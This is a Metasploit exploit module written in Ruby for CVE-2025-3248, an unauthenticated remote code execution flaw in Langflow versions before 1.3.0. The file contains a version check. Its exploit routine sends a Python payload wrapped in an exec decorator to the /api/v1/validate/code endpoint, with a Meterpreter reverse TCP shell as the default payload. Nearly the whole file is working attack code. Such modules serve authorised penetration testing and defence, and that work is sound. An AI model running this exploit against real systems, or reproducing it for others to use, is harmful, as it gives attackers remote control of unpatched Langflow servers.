## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Langflow AI RCE', 'Description' => %q{ Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code. }, 'Author' => [ 'Naveen Sunkavally (Horizon3.ai)', # Vulnerability discovery and PoC 'Takahiro Yokoyama' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-3248'], ['URL', 'https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/'], ], 'Platform' => ['python'], 'Arch' => [ ARCH_PYTHON ], 'Targets' => [ [ 'Python payload', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'Payload' => { 'BadChars' => '"' }, 'DisclosureDate' => '2025-04-09', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(7860), ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/version') }) return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 json_version = res&.get_json_document&.fetch('version', nil) return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version version = Rex::Version.new(json_version) return Exploit::CheckCode::Unknown('Failed to get version.') unless version return Exploit::CheckCode::Appears("Version #{version} detected. Which is vulnerable even if authentication is enabled.") if version < Rex::Version.new('1.3.0') # check if auto_login is enabled or not res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/auto_login') }) return Exploit::CheckCode::Appears("Version #{version} detected and authentication is disabled. Which is vulnerable.") if res&.code == 200 Exploit::CheckCode.Safe("Version #{version} detected and authentication is enabled. which is not vulnerable.") end def exploit res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'), 'headers' => { 'Content-Type' => 'application/json' }, 'data' => { 'code' => "@exec(\"#{payload.encode}\")\ndef #{rand_text_alpha(6)}():\n pass" }.to_json }) fail_with(Failure::Unknown, 'Unexpected server reply.') unless res end end